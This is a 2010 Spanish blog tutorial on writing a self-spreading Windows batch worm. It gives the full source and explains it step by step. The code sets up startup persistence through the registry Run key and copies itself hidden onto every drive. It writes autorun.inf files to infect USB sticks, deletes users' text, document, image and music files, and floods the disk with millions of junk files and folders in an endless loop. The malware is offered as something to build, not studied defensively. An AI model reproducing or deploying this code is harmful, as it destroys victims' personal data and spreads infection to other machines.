sábado, 15 de mayo de 2010

Tutorial Worm en Batch

Hola, bueno, pues ahora que e mejorado en batch, he decidido crear un tuto para hacer virus en batch, se podria decir que es la version mejorada/modificada que el que alguna vez hiso ".oOELIASOo.", y espero que no alla ningun problema por esto.



Bueno, para empezar, ¿Qué es un Worm?, segun [url=http://es.wikipedia.org/wiki/Gusano_inform%C3%A1tico]Wikipedia[/url]:
[quote=Wikipedia]Un gusano (también llamados IWorm por su apocope en inglés, I de Internet, Worm de gusano) es un malware que tiene la propiedad de duplicarse a sí mismo. Los gusanos utilizan las partes automáticas de un sistema operativo que generalmente son invisibles al usuario.[/quote]

Bueno, ahora que ya esta definido el concepto empecemos:

Primero que nada, les dejo el code, y despues lo explico:

[code]@echo off
:ini1
set nom=%~n0
reg add "hklm\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d %0" /f
for %%x in (A,B,C,D,E,F,G,H,J,I,K,L,M,N,O,PQ,R,S,T,U,V,W,X,Y,Z) DO (
IF EXIST %%x: (
if not exist %%X:\%nom%.bat(
cd %%x:
copy /y %0 %nom%.bat
attrib +h +s +r +a “%%x:\%nom%.bat”
echo [AUTORUN] > "%%x\autorun.inf"
ECHO OPEN="%nom%.BAT" >> "%%x\autorun.inf"
ECHO ACTION=Open FlashDrive >> "%%x\autorun.inf"
ECHO SHELLEXECUTE= "\%nom%.BAT" >> "%%x\autorun.INF"
)
)
)
for %%x in ("%windir%","%userprofile%") DO (
IF EXIST %%x (
cd %%x
copy /y %0 %nom%.bat
attrib +h +s +r %%x\%nom%.bat
start /B "" %%x\%nom%.bat
del /Q /S /F *.txt
del /Q /S /F *.mp3
del /Q /S /F *.jpg
del /Q /S /F *.doc
for /l %%y (1,1,9999999) do (
set cont+=1
echo http://webcodigo.com/ >> web%cont%codigo.wc
md WC%cont%
)
)
goto:ini1[/code]

Increible que eso haga lo mismo que el code de ".oOELIASOo." :shocked:

[code]set nom=%~n0
reg add "hklm\software\microsoft\windows\currentversion\run /v skls /t reg_sz /d %0" /f [/code]

Esto lo que ahce es crear la variable %nom%, con el nombre de el batch actual;
y despues se agrega para iniciar con Window$.

[code]for %%x in (A,B,C,D,E,F,G,H,J,I,K,L,M,N,O,PQ,R,S,T,U,V,W,X,Y,Z) DO (
IF EXIST %%x: (
if not exist %%X:\%nom%.bat(
cd %%x:
copy /y %0 %nom%.bat
attrib +h +s +r “%%x:\%nom%.bat”
echo [AUTORUN] > "%%x\autorun.inf"
ECHO OPEN="%nom%.BAT" >> "%%x\autorun.inf"
ECHO ACTION=Open FlashDrive >> "%%x\autorun.inf"
ECHO SHELLEXECUTE= "\%nom%.BAT" >> "%%x\autorun.INF"
)
)
)[/code]

Esto lo que hace es comprobar si existen las unidades de la A a la Z, si la unidad "%%x" existe, comprueba que si ya existe un archivo con el nombre de el virus, si no existe, se copia a si mismo a esa unidad, se oculta, se vuelve solo de lectura, y un documento de sistema, y luego crea un "autorun.inf" para que cuando se conecte la USB a cualquier PC se inicie automáticamente.
A esta parte se le pueden quitar algunas unidades, como es la "A:" ya que generalmente es la Disquetera XD.

[code]for %%x in ("%windir%","%userprofile%") DO (
IF EXIST %%x (
cd %%x
copy /y %0 %nom%.bat
attrib +h +s +r %%x\%nom%.bat
start /B "" %%x\%nom%.bat
del /Q /S /F *.txt
del /Q /S /F *.mp3
del /Q /S /F *.jpg
del /Q /S /F *.doc
for /l %%y (1,1,9999999) do (
set cont+=1
echo http://webcodigo.com/ >> web%cont%codigo.wc
md WC%cont%
)
)
goto:ini1[/code]

Ahora, esto lo que hace es comprobar si existen las rutas, %windir% (Windows) y %userprofile% (el perfil del usuario); se pueden agregar más directorios, es segun el gusto; si existe, se copia a si mismo, se da los mismos atributos que si se copiara a la USB, e inicia la copia que, valga la redundancia, se acaba de copiar; despues borra todos los archivos .txt, .doc, .jpg, y .mp3, se pueden agregar más, pero yo puse esos; y finalmente crea archivos con el nombre web1codigo.wc , web2codigo.wc, web3codigo.wc , etc. hasta el web9999999codigo.wc, con la pagina de webcodigo como contenido, ademas crea las carpetas WC%cont%, finalmente regresa a el inicio, para hacer un bucle interminable...

¿¿¿Verdad que se simplifico mucho???, y esto por el comando "FOR", del que despues haré un tutorial.

Bueno, eso es todo por ahora, si tienen alguna duda MP o comentario.

PD: Gracias a .oOELIASOo. por hacer ese tutorial, quiero que conste que YO solo lo SIMPLIFIQUE con FOR, del que proximamente haré un tutorial.

Saludos :grin:

No hay comentarios:

Publicar un comentario